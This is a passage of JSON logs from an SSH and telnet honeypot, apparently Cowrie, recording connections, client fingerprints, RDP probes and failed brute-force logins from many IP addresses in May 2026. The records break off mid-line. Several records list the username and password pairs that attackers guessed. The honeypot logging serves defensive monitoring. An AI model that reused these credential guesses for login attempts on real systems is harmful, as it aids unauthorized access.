{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:17:04.276775Z","src_ip":"80.94.92.184","session":"76f2b865c33f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:17:05.625948Z","src_ip":"80.94.92.184","session":"76f2b865c33f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":60772,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6698c008770","protocol":"ssh","message":"New connection: 167.172.81.52:60772 (10.17.0.5:22) [session: d6698c008770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:17:38.029901Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:17:38.241488Z","src_ip":"167.172.81.52","session":"d6698c008770","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:17:38.246040Z","src_ip":"167.172.81.52","session":"d6698c008770","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":52836,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f8725583f59","protocol":"ssh","message":"New connection: 103.122.221.179:52836 (10.17.0.5:22) [session: 6f8725583f59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:17:44.304851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:17:44.309644Z","src_ip":"103.122.221.179","session":"6f8725583f59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:17:44.570509Z","src_ip":"103.122.221.179","session":"6f8725583f59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artyom","message":"login attempt [root/artyom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:17:45.353705Z","src_ip":"103.122.221.179","session":"6f8725583f59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:17:46.617373Z","src_ip":"103.122.221.179","session":"6f8725583f59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":60015,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1f049cabe73","protocol":"ssh","message":"New connection: 152.42.212.128:60015 (10.17.0.5:22) [session: b1f049cabe73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:17:56.576757Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:17:56.581185Z","src_ip":"152.42.212.128","session":"b1f049cabe73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:17:56.584483Z","src_ip":"152.42.212.128","session":"b1f049cabe73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00344586372375,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:18:20.071549Z","src_ip":"49.88.156.34","session":"39dac3461aca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":53024,"dst_ip":"10.17.0.5","dst_port":22,"session":"994307f5c915","protocol":"ssh","message":"New connection: 147.45.197.250:53024 (10.17.0.5:22) [session: 994307f5c915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:18:29.218528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:18:29.223805Z","src_ip":"147.45.197.250","session":"994307f5c915","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:18:34.521372Z","src_ip":"147.45.197.250","session":"994307f5c915","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:18:35.429425Z","src_ip":"147.45.197.250","session":"994307f5c915","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:18:36.534931Z","src_ip":"147.45.197.250","session":"994307f5c915","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0139570236206,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:18:49.160876Z","src_ip":"72.74.45.4","session":"309c5fd020c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.74.45.4","src_port":54606,"dst_ip":"10.17.0.5","dst_port":23,"session":"2390093e1202","protocol":"telnet","message":"New connection: 72.74.45.4:54606 (10.17.0.5:23) [session: 2390093e1202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:18:49.203004Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.152.149.171","src_port":49760,"dst_ip":"159.203.135.109","dst_port":23,"session":"2733ab144c83","protocol":"telnet","message":"New connection: 109.152.149.171:49760 (159.203.135.109:23) [session: 2733ab144c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:18:49.668511Z"}
{"eventid":"cowrie.session.closed","duration":0.20657134056091309,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:18:49.874869Z","src_ip":"109.152.149.171","session":"2733ab144c83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":53398,"dst_ip":"10.17.0.5","dst_port":22,"session":"f090791bd952","protocol":"ssh","message":"New connection: 89.108.118.91:53398 (10.17.0.5:22) [session: f090791bd952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:19:03.320795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:19:03.326953Z","src_ip":"89.108.118.91","session":"f090791bd952","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:19:03.467320Z","src_ip":"89.108.118.91","session":"f090791bd952","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passport","message":"login attempt [root/passport] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:19:03.888725Z","src_ip":"89.108.118.91","session":"f090791bd952","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:19:05.026876Z","src_ip":"89.108.118.91","session":"f090791bd952","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":38584,"dst_ip":"159.203.135.109","dst_port":22,"session":"223f22961bd8","protocol":"ssh","message":"New connection: 77.94.47.83:38584 (159.203.135.109:22) [session: 223f22961bd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:19:12.700744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:19:12.706936Z","src_ip":"77.94.47.83","session":"223f22961bd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:19:12.835910Z","src_ip":"77.94.47.83","session":"223f22961bd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"polniypizdec1102","message":"login attempt [root/polniypizdec1102] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:19:13.214776Z","src_ip":"77.94.47.83","session":"223f22961bd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:19:14.342360Z","src_ip":"77.94.47.83","session":"223f22961bd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":39254,"dst_ip":"10.17.0.5","dst_port":22,"session":"c009c05e8208","protocol":"ssh","message":"New connection: 80.94.92.184:39254 (10.17.0.5:22) [session: c009c05e8208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:20:02.233982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:20:02.467911Z","src_ip":"80.94.92.184","session":"c009c05e8208","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:20:02.472243Z","src_ip":"80.94.92.184","session":"c009c05e8208","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:20:03.625902Z","src_ip":"80.94.92.184","session":"c009c05e8208","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:20:04.754499Z","src_ip":"80.94.92.184","session":"c009c05e8208","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46182,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3145080952c","protocol":"telnet","message":"New connection: 152.42.224.71:46182 (10.17.0.5:23) [session: e3145080952c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:20:12.278061Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":45140,"dst_ip":"10.17.0.5","dst_port":22,"session":"d17d8bcd6966","protocol":"ssh","message":"New connection: 109.172.54.111:45140 (10.17.0.5:22) [session: d17d8bcd6966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:20:21.214046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:20:21.219727Z","src_ip":"109.172.54.111","session":"d17d8bcd6966","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:20:21.318778Z","src_ip":"109.172.54.111","session":"d17d8bcd6966","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ranetki","message":"login attempt [root/ranetki] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:20:21.614113Z","src_ip":"109.172.54.111","session":"d17d8bcd6966","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:20:22.715725Z","src_ip":"109.172.54.111","session":"d17d8bcd6966","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00833225250244,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:20:49.211186Z","src_ip":"72.74.45.4","session":"2390093e1202","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.74.45.4","src_port":54787,"dst_ip":"10.17.0.5","dst_port":23,"session":"f678d7b26ab7","protocol":"telnet","message":"New connection: 72.74.45.4:54787 (10.17.0.5:23) [session: f678d7b26ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:20:49.273319Z"}
{"eventid":"cowrie.session.closed","duration":50.23096418380737,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:21:02.508890Z","src_ip":"152.42.224.71","session":"e3145080952c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":47360,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c678cd2bbbb","protocol":"ssh","message":"New connection: 176.32.39.21:47360 (159.203.135.109:22) [session: 4c678cd2bbbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:21:35.533790Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":53860,"dst_ip":"159.203.135.109","dst_port":22,"session":"96807eb52be7","protocol":"ssh","message":"New connection: 193.37.70.224:53860 (159.203.135.109:22) [session: 96807eb52be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:21:45.294200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:21:45.301012Z","src_ip":"193.37.70.224","session":"96807eb52be7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha